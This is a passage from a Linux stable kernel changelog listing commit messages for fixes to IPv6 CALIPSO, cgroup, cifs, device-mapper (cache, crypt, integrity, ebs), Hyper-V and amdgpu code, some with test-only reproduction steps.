            payload = ntohs(ip6_hdr->payload_len);
            ip6_hdr->payload_len = htons(payload + len_delta);
    
    GRO can build BIG TCP packets larger than IPV6_MAXPLEN, and stores
    payload_len == 0 for them; ipv6_payload_len() then falls back to
    skb->len.  For such a packet forwarded to a destination mapped to
    CALIPSO, the code above writes len_delta (or 65536 + len_delta when
    shrinking) into payload_len, and ipv6_payload_len() no longer falls
    back to skb->len.  nf_tables, conntrack and sch_cake rely on it.
    
    The same arithmetic also wraps when a packet grows past IPV6_MAXPLEN,
    and a BIG TCP packet that shrinks below IPV6_MAXPLEN should get its
    real length back.
    
    Set payload_len from the skb length with ipv6_set_payload_len(), which
    stores 0 above IPV6_MAXPLEN and the real length otherwise, as
    ipv6_gro_complete() does.  The network header was just reset to
    skb->data, so skb->len - sizeof(*ip6_hdr) is the payload length.
    
    Tested on one kernel (arm64, QEMU) with SELinux permissive, a minimal
    mdp-generated policy (network_peer_controls=1), "netlabelctl calipso
    add pass doi:16" and a NetLabel mapping of fd00:2::/64 to CALIPSO
    DOI 16.  calipso_skbuff_setattr() was called through
    netlbl_skbuff_setattr() from a test-only debugfs hook (not part of
    this patch) adding a level-only label; payload_len after the call:
    
      case                         before fix   after fix   real length
      1000, unlabeled                    1016        1016          1016
      70000 GSO, payload_len 0             16           0         70016
      65530 GSO, grows past MAXPLEN        10           0         65546
      65540 GSO with a 24 byte hop
      header, shrinks below MAXPLEN     65528       65532         65532
      1000 with a 24 byte hop header      992         992           992
    
    (0 means ipv6_payload_len() returns the real length.)  On the forward
    path, with a client injecting unlabeled UDP through a router to a
    server, the router adds the CALIPSO option and the server delivers all
    datagrams (Udp6InDatagrams 5, Ip6InTruncatedPkts 0) with this patch.
    
    Fixes: 81fbc812132c ("ipv6/gro: insert temporary HBH/jumbo header")
    Suggested-by: Eric Dumazet <edumazet@kernel.org>
    Suggested-by: Wang Zhan <wang.zhan@smartx.com>
    Signed-off-by: Joas Antonio dos Santos <joasantonio108@gmail.com>
    Assisted-by: Claude:claude-opus-5-5
    Reviewed-by: Wang Zhan <wang.zhan@smartx.com>
    Acked-by: Paul Moore <paul@paul-moore.com>
    Link: https://patch.msgid.link/179156155963.36253.400481753322266658@gmail.com
    Signed-off-by: Paolo Abeni <pabeni@redhat.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children [+ + +]
Author: Etienne Perot <eperot@google.com>
Date:   Fri Aug 28 21:52:51 2026 +0000

    cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children
    
    commit 8e359920216689b3b79e0fe8961a77fe312a511f upstream.
    
    Since commit b69bb476dee9 ("cgroup: fix race between fork and
    cgroup.kill"), the fork path snapshots the kill_seq of the child's
    future cgroup into kargs->kill_seq, and cgroup_post_fork() SIGKILLs
    the child if that cgroup's kill_seq has changed in the meantime, to
    catch forks racing with a cgroup.kill sweep.
    
    For CLONE_INTO_CGROUP, however, the snapshot in cgroup_css_set_fork()
    is taken before the target cgroup has been resolved: kargs->cgrp is
    always NULL at this point (it is only set at the end of the function).
    So the "if (kargs->cgrp)" branch is dead code and the snapshot always
    records the kill_seq of the parent's cgroup. cgroup_post_fork() then
    compares it with the kill_seq of the target cgroup, so the child gets
    SIGKILLed whenever the two cgroups have been killed a different number
    of times.
    
    As a result, once cgroup.kill has been written to a cgroup, every
    child subsequently cloned into it with clone3(CLONE_INTO_CGROUP) is
    killed on the spot, for as long as the cgroup exists: kill_seq is not
    exposed to userspace and never resets.
    
    Re-snapshot kill_seq from the target cgroup once it has been resolved,
    and drop the dead branch at the early snapshot site.
    
    This does not reopen the race fixed by b69bb476dee9. For
    CLONE_INTO_CGROUP, everything from the snapshot to the check in
    cgroup_post_fork() runs with cgroup_mutex held, and kill_seq is
    only ever incremented under cgroup_mutex.
    
    tj: Updated the comment above kill_seq to reflect the new serialization
    rules as suggested by Shakeel Butt.
    
    Fixes: b69bb476dee9 ("cgroup: fix race between fork and cgroup.kill")
    Cc: stable@vger.kernel.org
    Cc: Shakeel Butt <shakeel.butt@linux.dev>
    Assisted-by: LLM
    Signed-off-by: Etienne Perot <eperot@google.com>
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
cifs: add revalidation on FSCTL failure in smb2_duplicate_extents() [+ + +]
Author: Frank Sorenson <sorenson@redhat.com>
Date:   Sun Aug 23 18:26:46 2026 -0500

    cifs: add revalidation on FSCTL failure in smb2_duplicate_extents()
    
    commit 53676a5e28231186c9f56d87b7998b640699bc15 upstream.
    
    smb2_duplicate_extents() has no handling for
    FSCTL_DUPLICATE_EXTENTS_TO_FILE failure: when the FSCTL fails, local
    inode metadata may be stale from the pre-extension or from concurrent
    remote writes, but is never refreshed.
    
    Force revalidation on FSCTL failure and use i_size_read() for the
    pre-extension check.
    
    Fixes: cfc63fc8126a ("smb3: fix cached file size problems in duplicate extents (reflink)")
    Cc: stable@vger.kernel.org
    Signed-off-by: Frank Sorenson <sorenson@redhat.com>
    Signed-off-by: Paulo Alcantara <pc@manguebit.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

cifs: don't update i_size in cifs_do_truncate without a cached handle [+ + +]
Author: Frank Sorenson <sorenson@redhat.com>
Date:   Wed Aug 26 20:57:38 2026 -0500

    cifs: don't update i_size in cifs_do_truncate without a cached handle
    
    commit fe39cd9d48f2346605f3746e0cc19e89d5f373eb upstream.
    
    If find_writable_file() returns null, cifs_file_flush will return
    0 without issuing set_file_size, and the outer 'if (!rc)' block
    will set i_size to 0 before telling the server to truncate.  If
    the cifs_open() then fails, the inode will have size 0, while
    the server file is unchanged.
    
    Move the netfs_resize_file() and cifs_setsize() into the 'if
    (cfile)', so they only run after a successful set_file_size.
    
    In the no-handle else branch, evict stale pages with
    truncate_inode_pages before the O_TRUNC open to dispose of old
    cache pages, and let the open response set the i_size.
    
    Fixes: 110fee6b9bb5 ("smb: client: fix missing timestamp updates with O_TRUNC")
    Cc: stable@vger.kernel.org
    Signed-off-by: Frank Sorenson <sorenson@redhat.com>
    Acked-by: David Howells <dhowells@redhat.com>
    Signed-off-by: Paulo Alcantara <pc@manguebit.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
dm cache: fix demotion stats in passthrough mode [+ + +]
Author: Ming-Hung Tsai <mtsai@redhat.com>
Date:   Tue Aug 18 18:05:47 2026 +0800

    dm cache: fix demotion stats in passthrough mode
    
    commit 2ccb8878c149443c6acf628b438c9c942c20abb2 upstream.
    
    The demotion counter is incremented per incoming write bio before the
    invalidation begins, causing the demotion count to exceed the actual
    number of cached blocks when multiple bios target the same cached
    block. Additionally, the counter is incremented unconditionally
    regardless of invalidation failure.
    
    Reproduce steps:
    
    1. Create a cache device consisting of 512 cache entries
    
    modprobe brd rd_size=262144
    dmsetup create cmeta --table "0 8192 linear /dev/ram0 0"
    dmsetup create cdata --table "0 65536 linear /dev/ram0 8192"
    dmsetup create corig --table "0 65536 linear /dev/ram0 262144"
    dd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1 oflag=direct
    dmsetup create cache --table "0 65536 cache /dev/mapper/cmeta \
    /dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0"
    
    2. Populate the cache, and record the number of cached blocks
    
    fio --name=populate --filename=/dev/mapper/cache --rw=randwrite --bs=4k \
    --direct=1 --ioengine=libaio --iodepth=32 --io_size=2048m
    nr_cached=$(dmsetup status cache | awk '{split($7, a, "/"); print a[1]}')
    
    3. Reload the cache into passthrough mode
    
    dmsetup suspend cache
    dmsetup reload cache --table "0 65536 cache /dev/mapper/cmeta \
    /dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 passthrough smq 0"
    dmsetup resume cache
    
    4. Write to the passthrough cache with multiple jobs to trigger
       multiple bios hitting the same cached block.
    
    fio --filename=/dev/mapper/cache --name=test --rw=write --bs=4k \
    --direct=1 --ioengine=libaio --iodepth=32 --numjobs=4
    
    5. Check if demoted matches cached block count. These numbers should
       match but may differ due to overcounting per bio.
    
    nr_demoted=$(dmsetup status cache | awk '{print $12}')
    echo "$nr_cached, $nr_demoted"
    
    Fix by moving the demotion counter increment into invalidate_complete(),
    gated on the success flag.
    
    Reported-by: Ben Marzinski <bmarzins@redhat.com>
    Fixes: b29d4986d0da ("dm cache: significant rework to leverage dm-bio-prison-v2")
    Cc: stable@vger.kernel.org
    Signed-off-by: Ming-Hung Tsai <mtsai@redhat.com>
    Reviewed-by: Benjamin Marzinski <bmarzins@redhat.com>
    Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

dm cache: fix issue with background work locking [+ + +]
Author: Benjamin Marzinski <bmarzins@redhat.com>
Date:   Tue Aug 25 15:22:26 2026 -0400

    dm cache: fix issue with background work locking
    
    commit bc9781c0247de107876f32929f1637db93a42b34 upstream.
    
    dm cache used a rw_semaphore for background_work_lock. Write locks on
    rw_semaphores have strict owner semantics, but there was no guarantee
    that the process that locked background_work_lock was the same process
    that unlocked it. This can be easily seen using a kernel compiled with
    CONFIG_DEBUG_RWSEMS. Given a dm cache device <cache>, run: 'dmsetup
    suspend <cache> && dmsetup resume <cache>'. This will trigger a kernel
    warning:
    
    DEBUG_RWSEMS_WARN_ON((rwsem_owner(sem) != current) && !rwsem_test_oflags(sem, RWSEM_NONSPINNABLE))
    
    triggered by cache_resume(). To fix this, switch from a rw_semaphore to
    a spinlock and a wait queue. dm cache already has a wait queue and
    associated counter, migration_wait and nr_allocated_migrations, that was
    getting woken up when background work was getting completed, but wasn't
    actually used by anything. This is replaced by the background_work queue
    and counter.
    
    Fixes: b29d4986d0da ("dm cache: significant rework to leverage dm-bio-prison-v2")
    Cc: stable@vger.kernel.org
    Signed-off-by: Benjamin Marzinski <bmarzins@redhat.com>
    Reviewed-by: Matthew Sakai <msakai@redhat.com>
    Reviewed-by: Ming-Hung Tsai <mtsai@redhat.com>
    Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
dm-crypt: fix a tiny race condition in crypt_dec_pending [+ + +]
Author: Ben Cressey <ben@cressey.dev>
Date:   Wed Aug 26 00:25:33 2026 +0000

    dm-crypt: fix a tiny race condition in crypt_dec_pending
    
    commit 148845aa1921d95ef5dc851c76e6a284f6657df6 upstream.
    
    crypt_dec_pending reads io->error before calling atomic_dec_and_test.
    Another context, for example crypt_endio called from an interrupt, may
    set io->error and drop its reference between the read and the
    decrement. crypt_dec_pending then drops the last reference and completes
    the bio with the stale status - so a read that failed and was never
    decrypted, or a write that failed, is reported as successful.
    
    The read was placed before the decrement by commit b35f8caa0890 ("dm
    crypt: wait for endio to complete before destruction"), because that
    commit freed dm_crypt_io before calling bio_endio. This is no longer the
    case, dm_crypt_io lives in the per-bio data now.
    
    Read io->error after atomic_dec_and_test instead. atomic_dec_and_test is
    fully ordered, so no additional barrier is needed.
    
    Fixes: b35f8caa0890 ("dm crypt: wait for endio to complete before destruction")
    Cc: stable@vger.kernel.org
    Reviewed-by: Jose Fernandez (Anthropic) <jose.fernandez@linux.dev>
    Signed-off-by: Ben Cressey <ben@cressey.dev>
    Assisted-by: Claude:unspecified
    Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
dm-ebs: fix incorrect device offset check in ebs_ctr() [+ + +]
Author: Genjian Zhang <zhanggenjian@kylinos.cn>
Date:   Fri Aug 7 23:57:15 2026 +0800

    dm-ebs: fix incorrect device offset check in ebs_ctr()
    
    commit 7ac81e2d2240f2c57bd073b0733e0b2abca38e82 upstream.
    
    <offset> is a backing-device sector offset; ti->len is the virtual
    target length. Comparing them rejects valid tables, e.g.:
    
      dmsetup create ebs0 --table "0 1048576 ebs /dev/sda 2097152 1 8"
      -> ebs: Invalid device offset sector (-EINVAL)
    
    Drop the check. Bounds against the backing device are already
    enforced later by device_area_is_invalid() via ebs_iterate_devices().
    
    Cc: stable@vger.kernel.org
    Fixes: d3c7b35c20d6 ("dm: add emulated block size target")
    Signed-off-by: Genjian Zhang <zhanggenjian@kylinos.cn>
    Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
dm-integrity: fix infinite loop on discard with large tag size [+ + +]
Author: Ben Cressey <ben@cressey.dev>
Date:   Thu Aug 20 21:44:58 2026 +0000

    dm-integrity: fix infinite loop on discard with large tag size
    
    commit 18d80c77b4c7dd20699e81cedfbbff4e9d198f28 upstream.
    
    When integrity_metadata handles a discard, it fills a buffer with
    DISCARD_FILLER and writes it over the tags, max_blocks blocks at a
    time. If the kmalloc fails, the buffer is the on-stack array
    checksums_onstack and max_size is set to HASH_MAX_DIGESTSIZE. So if the
    tag size is larger than HASH_MAX_DIGESTSIZE, max_blocks is zero, bi_size
    is never decremented and the loop never terminates.
    
    Fix this by using sizeof(checksums_onstack) as max_size. The array has
    MAX_TAG_SIZE bytes since commit b93b6643e9b5 ("dm integrity: fix a
    crash with unusually large tag size"), so max_blocks is at least 1.
    
    Fixes: 84597a44a9d8 ("dm integrity: add optional discard support")
    Cc: stable@vger.kernel.org
    Reviewed-by: Jose Fernandez (Anthropic) <jose.fernandez@linux.dev>
    Signed-off-by: Ben Cressey <ben@cressey.dev>
    Assisted-by: Claude:unspecified
    Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

dm-integrity: require stable writes for internal hash modes [+ + +]
Author: Chen Cheng <chencheng@fnnas.com>
Date:   Mon Aug 24 19:34:49 2026 +0800

    dm-integrity: require stable writes for internal hash modes
    
    commit b2fd92f016e9d692fd3c8c08d0ee014e9212279d upstream.
    
    dm-integrity direct, bitmap and inline internal-hash modes compute
    integrity tags from the pages carried by the write bio.  The lower data
    write also uses those pages, so the tag and the data write depend on the
    same memory contents staying unchanged while writeback is in flight.
    
    Without stable writes, a buffered writer can modify a writeback folio
    after dm-integrity has submitted the data bio and before the lower device
    has consumed the data.  After a crash, this can leave data from the later
    contents with a tag calculated from the earlier contents, causing
    permanent checksum failures on read.
    
    Set BLK_FEAT_STABLE_WRITES for internal-hash D, B and I modes so
    filesystems wait for writeback folios to become stable before modifying
    them again.  Journal mode is left unchanged because it copies data into
    the journal before computing and persisting the tag.
    
    Tested using dm-delay over a virtio-blk test disk, dm-integrity
    internal_hash:crc32c and no-journal ext4.  The D and B reproducers both
    failed with checksum errors before this change and completed with
    READ_RC=0 and zero mismatches after it.
    
    Fixes: 7eada909bfd7 ("dm: add integrity target")
    Cc: stable@vger.kernel.org
    Reported-by: Sun Yangkai <sunyangkai@fygo.io>
    Link: https://github.com/chencheng-fnnas/reproducer/blob/main/dm-integrity-writeback-race.py
    Signed-off-by: Chen Cheng <chencheng@fnnas.com>
    Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
Drivers: hv: Avoid infinite retry loop in init_vp_index() [+ + +]
Author: Waiman Long <longman@redhat.com>
Date:   Sun Aug 30 19:41:24 2026 -0400

    Drivers: hv: Avoid infinite retry loop in init_vp_index()
    
    [ Upstream commit 32ea0a33e3a0fb7c10c601b43e1b2f6c06a3f5fd ]
    
    There is a retry loop in init_vp_index() where the CPUs from a certain
    node are stripped out if they have already been in the allocated cpumask
    or not in HK_TYPE_MANAGED_IRQ housekeeping cpumask. If there is no
    CPU left, the allocated cpumask is ignored and the process is retried
    again. However, if the HK_TYPE_MANAGED_IRQ housekeeping cpumask turns
    out not to contain any CPU in that particular node, that will become an
    infinite retry loop.  This particular problem was reported by sashiko
    [1]. This should rarely happen, but we still need to guard against this.
    
    Fix this infinite loop problem by also skipping NUMA node that has no
    housekeeping CPU in the inner while loop of init_vp_index(). Also update
    the early abort check to check for the absence of online housekeeping
    CPUs instead of just the emptiness of the cpumask. As the outer for
    loop will only be reached if the housekeeping cpumask has at least one
    online CPU, a NUMA node with housekeeping CPUs will eventually be found.
    
    Link: https://sashiko.dev/#/message/20260422030903.E1BFCC2BCB0%40smtp.kernel.org [1]
    Fixes: 6640b5df1a38 ("Drivers: hv: vmbus: Don't assign VMbus channel interrupts to isolated CPUs")
    Signed-off-by: Waiman Long <longman@redhat.com>
    Reviewed-by: Michael Kelley <mhkelley@outlook.com>
    Signed-off-by: Wei Liu <wei.liu@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

Drivers: hv: Don't reset VMBus connection state on error/exit paths [+ + +]
Author: Michael Kelley <mhkelley58@gmail.com>
Date:   Mon Aug 31 20:45:14 2026 -0700

    Drivers: hv: Don't reset VMBus connection state on error/exit paths
    
    [ Upstream commit ec31dc39e835ccde0930daccece8c492d28282fc ]
    
    In two places, current code forces vmbus_connection.conn_state to
    DISCONNECTED prior to calling vmbus_disconnect(). But vmbus_disconnect()
    calls vmbus_initiate_unload(), which unloads the VMBus connection
    only if the conn_state is CONNECTED. Consequently, the connection
    remains and the Hyper-V host might continue to send messages or post
    VMBus interrupts.
    
    The problem was introduced in commit 74347a99e73ae ("x86/Hyper-V:
    Unload vmbus channel in hv panic callback"), in that
    vmbus_initiate_unload() started checking the current connection
    state before doing the unload. This commit removed some occurrences
    where conn_state was forced to DISCONNECTED, but these two remained,
    apparently due to an oversight at the time.
    
    Fix this by not forcing conn_state to DISCONNECTED during VMBus exit,
    or if a failure occurs when establishing the connection in the first
    place. Whatever value conn_state has at the time is then read by
    vmbus_initiate_unload() to determine if there is a connection to
    be unloaded.
    
    Reported-by: Sashiko <sashiko-bot@kernel.org>
    Closes: https://lore.kernel.org/linux-hyperv/20260805205806.B5AC31F000E9@smtp.kernel.org/
    Fixes: 74347a99e73ae ("x86/Hyper-V: Unload vmbus channel in hv panic callback")
    Signed-off-by: Michael Kelley <mhklinux@outlook.com>
    Signed-off-by: Wei Liu <wei.liu@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
drm/amd/display: Fix NULL sink dereference in USB4 bandwidth functions [+ + +]
Author: Srinivasan Shanmugam <srinivasan.shanmugam@amd.com>
Date:   Thu Sep 17 11:44:33 2026 +0530

    drm/amd/display: Fix NULL sink dereference in USB4 bandwidth functions
    
    commit 55a67aa89342545b89f469dea6f29bfb6fac6f3d upstream.
    
    allocate_usb4_bandwidth_for_stream() and allocate_usb4_bandwidth() both
    use ASSERT(stream->sink) before dereferencing stream->sink->link. ASSERT
    is compiled out in production builds, so a NULL stream->sink causes a
    NULL pointer dereference.
    
    link_set_dpms_off() already guards two earlier accesses to stream->sink
    with explicit NULL checks, confirming that stream->sink can legitimately
    be NULL. The subsequent call to deallocate_usb4_bandwidth() had no
    equivalent guard.
    
    Replace the ASSERT() calls with proper NULL checks that return false
    early, and add a matching stream->sink guard at the call site in
    link_set_dpms_off() consistent with the surrounding pattern.
    
    v2: Keep the existing ASSERT() calls for diagnostics (to report
        unexpected NULL sink), and add explicit NULL checks that return false
        before dereferencing stream->sink. Also add a matching stream->sink
        guard at the deallocation call site in link_set_dpms_off(). (Alex)
    
    Fixes: 8fa813b7fd1e ("drm/amd/display: Remove sink usage from DPMS")
    Reported-by: Dan Carpenter <error27@gmail.com>
    Cc: Nicholas Kazlauskas <nicholas.kazlauskas@amd.com>
    Cc: Dominik Kaszewski <dominik.kaszewski@amd.com>
    Cc: George Zhang <george.zhang@amd.com>
    Cc: Aurabindo Pillai <aurabindo.pillai@amd.com>
    Cc: Roman Li <Roman.Li@amd.com>
    Cc: Ivan Lipski <ivan.lipski@amd.com>
    Cc: Dan Wheeler <daniel.wheeler@amd.com>
    Cc: Alex Hung <alex.hung@amd.com>
    Cc: Tom Chung <chiahsuan.chung@amd.com>
    Signed-off-by: Srinivasan Shanmugam <srinivasan.shanmugam@amd.com>
    Tested-by: Dan Wheeler <daniel.wheeler@amd.com>
    Reviewed-by: Roman Li <roman.li@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit 98029a0ce61feb52c563f65349dd9b25f672e355)
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
drm/amd/pm: add zero fan stop temperature support on smu 14.0.2 [+ + +]
Author: Kenneth Feng <kenneth.feng@amd.com>
Date:   Thu Oct 8 20:28:09 2026 +0800

    drm/amd/pm: add zero fan stop temperature support on smu 14.0.2
    
    commit a2eae9f4fa1b07f8e6e61b48931228da051943f0 upstream.
    
    add zero fan stop temperature support on smu 14.0.2
    
    Closes: https://gitlab.freedesktop.org/drm/amd/-/work_items/5905
    Signed-off-by: Kenneth Feng <kenneth.feng@amd.com>
    Reviewed-by: Kevin Wang <kevin.wang@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit f990c94a2633d0ead477eb1b174e254a6d292e66)
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang [+ + +]
Author: Timur Kristóf <timur.kristof@gmail.com>
Date:   Wed Oct 7 00:02:52 2026 +0200

    drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang
    
    commit 752480ad62964edf0254e151110d3e53a7cb37de upstream.
    
    SDMA can randomly hang on Polaris 10. Hard to reproduce,
    but has been occurring sporadically in the Mesa CI
    on the RADV Polaris 10 job even when Mesa isn't using
    the SDMA engine.
    
    When Mesa actually uses the SDMA on Polaris, the hang
    becomes more frequent and the reproduction rate goes up
    significantly in the CI system.
    
    We don't know why the hangs occur, but it seems
    that inserting a single NOP packet before each
    POLL_REGMEM and FENCE packet works around it.
    At the moment it's unclear which GPUs are affected,
    so let's apply this to SDMA 3.x for now.
    
    Note that this issue is not documented or acknowledged by AMD.
    
    Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Timur Kristóf <timur.kristof@gmail.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit c343a27ed90823d08de125f7c447d96d056b75d9)
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
drm/amdgpu/userq: actually validate userq BOs [+ + +]
Author: Benjamin Cheng <benjamin.cheng@amd.com>
Date:   Wed Oct 21 17:36:35 2026 -0400

    drm/amdgpu/userq: actually validate userq BOs
    
    [ Upstream commit 32d0771ef4ca69c30a1db3aefa34dd177cd2a047 ]
    
    This was supposed to loop over the individual evicted list, as the
    kernel and always_valid evicted lists were already handled in
    amdgpu_vm_validate.
    
    Without this, BOs that were created and evicted before a userq was made
    would never end up in an eviction fence rearm.
    
    Also add the missing ref to the BO before drm_exec locks and refs it.
    
    Fixes: 4cdbba5a16aa ("drm/amdgpu: restructure VM state machine v4")
    Signed-off-by: Benjamin Cheng <benjamin.cheng@amd.com>
    Reviewed-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit 18decfc9e8cc0fa70b6de9944cc27a37729edfbd)
    Cc: stable@vger.kernel.org
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
drm/amdgpu/uvd3.1: Fix checking whether UVD firmware keyselect was already set [+ + +]
Author: Timur Kristóf <timur.kristof@gmail.com>
Date:   Tue Oct 6 23:16:07 2026 +0200

    drm/amdgpu/uvd3.1: Fix checking whether UVD firmware keyselect was already set
    
    commit 800ea86e83e137395eba54103e5c459c2bc9965f upstream.
    
    The PASS_MASK is for a different register not for UVD_FW_START.
    It was a mistake to check this flag. It should be enough to check
    that the register is non-zero.
    
    Fixes: 889a2cfd889c ("drm/amdgpu/uvd3.1: Don't validate the firmware when already validated")
    Signed-off-by: Timur Kristóf <timur.kristof@gmail.com>
    Reviewed-by: Mario Limonciello <mario.limonciello@amd.com>
    Link: https://patch.msgid.link/20261006211607.75407-1-timur.kristof@gmail.com
    Signed-off-by: Mario Limonciello <mario.limonciello@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit 9dee462c83259ca769aa1bf82228adee9831685c)
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
drm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction [+ + +]
Author: Prike Liang <Prike.Liang@amd.com>
Date:   Wed Oct 21 17:36:34 2026 -0400

    drm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction
    
    [ Upstream commit 50b24a20be8c0d35f89f7d5c39533f69d84fe48e ]
    
    It fixes both the move overflow and the eviction fence add for
    evicting these per-vm BOs.
    
    Signed-off-by: Prike Liang <Prike.Liang@amd.com>
    Reviewed-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    Stable-dep-of: 32d0771ef4ca ("drm/amdgpu/userq: actually validate userq BOs")
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/amdgpu: destroy mutex when tearing down ttm buffer entity [+ + +]
Author: Perry Yuan <perry.yuan@amd.com>
Date:   Thu Sep 10 16:58:17 2026 +0800

    drm/amdgpu: destroy mutex when tearing down ttm buffer entity
    
    commit 5b0a459f990be2faba33229fd93f10f23745fab2 upstream.
    
    Pair mutex_init() with mutex_destroy() on the GART window allocation
    failure path and in amdgpu_ttm_buffer_entity_fini(). This is a no-op
    without CONFIG_DEBUG_MUTEXES, but it keeps lockdep from seeing a live
    mutex after the entity is freed or re-initialized.
    
    Signed-off-by: Perry Yuan <perry.yuan@amd.com>
    Reviewed-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit 03ac40aeed034a0a0d5824ad26f8fbe1f6463698)
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/amdgpu: don't drop the runtime PM reference twice in amdgpu_gpr [+ + +]
Author: Jesse Zhang <Jesse.Zhang@amd.com>
Date:   Fri Oct 9 13:21:33 2026 +0800

    drm/amdgpu: don't drop the runtime PM reference twice in amdgpu_gpr
    
    commit de9f6bcdb44f0e410031002e2f103826ea6b6259 upstream.
    
    amdgpu_debugfs_gpr_read() drops its runtime PM reference right after
    reading the wave registers. When copying them to userspace fails, it
    jumps to the err label, which drops the reference a second time. A read
    into a bad buffer on Navi31 either steals a reference somebody else
    holds (power/runtime_usage goes from 1 to 0) or underflows the count:
    
      amdgpu 0000:03:00.0: Runtime PM usage count underflow!
    
    The registers are already in the kernel buffer at that point, so finish
    the hardware access first and copy the buffer with a single
    copy_to_user() instead of the put_user() loop with its own error path.
    
    Fixes: 9eee152aab56 ("drm/amdgpu/debugfs: fix ref count leak when pm_runtime_get_sync fails")
    Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit 31035bbd74f7c3e10c163db875b8e67f8b50ee6a)
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/amdgpu: fix GEM object leak on ENOMEM in userptr ioctl [+ + +]
Author: Perry Yuan <perry.yuan@amd.com>
Date:   Thu Sep 10 17:13:39 2026 +0800

    drm/amdgpu: fix GEM object leak on ENOMEM in userptr ioctl
    
    commit 3c516a5646285442e1cd71dff2584b77eb4fc421 upstream.
    
    When amdgpu_hmm_range_alloc() fails amdgpu_gem_userptr_ioctl() returns
    -ENOMEM right away and skips the cleanup every other error path goes
    through. The GEM object, the bo->parent reference on the VM root and the
    MMU notifier registration are all left behind.
    
    Use release_object here, not user_pages_done, range is still NULL at
    this point.
    
    Fixes: e095b55155ef ("drm/amdgpu: use user provided hmm_range buffer in amdgpu_ttm_tt_get_user_pages")
    Signed-off-by: Perry Yuan <perry.yuan@amd.com>
    Reviewed-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit bbe739e407a542073ec1a7872b14843566b4919e)
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/amdgpu: fix sched entity leak in ttm buffer entity init [+ + +]
Author: Perry Yuan <perry.yuan@amd.com>
Date:   Thu Sep 10 16:57:31 2026 +0800

    drm/amdgpu: fix sched entity leak in ttm buffer entity init
    
    commit b5629f4a0869f4b01cfbfdf27f2c349d68c5d9d4 upstream.
    
    amdgpu_ttm_buffer_entity_init() checks num_gart_windows after
    drm_sched_entity_init() has already attached the entity to a
    scheduler run-queue. Returning -EINVAL from that check leaks the
    entity.
    
    Move the ARRAY_SIZE() check before any resources are acquired.
    
    Fixes: 2c3725572561 ("drm/amdgpu: statically assign gart windows to ttm entities")
    Signed-off-by: Perry Yuan <perry.yuan@amd.com>
    Reviewed-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit 4000d1cdd1eacd3422267d6c8b4f1c9333b0317e)
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/amdgpu: Fix VCE 3 ring align_mask [+ + +]
Author: David Rosca <david.rosca@amd.com>
Date:   Thu Aug 20 16:32:51 2026 +0200

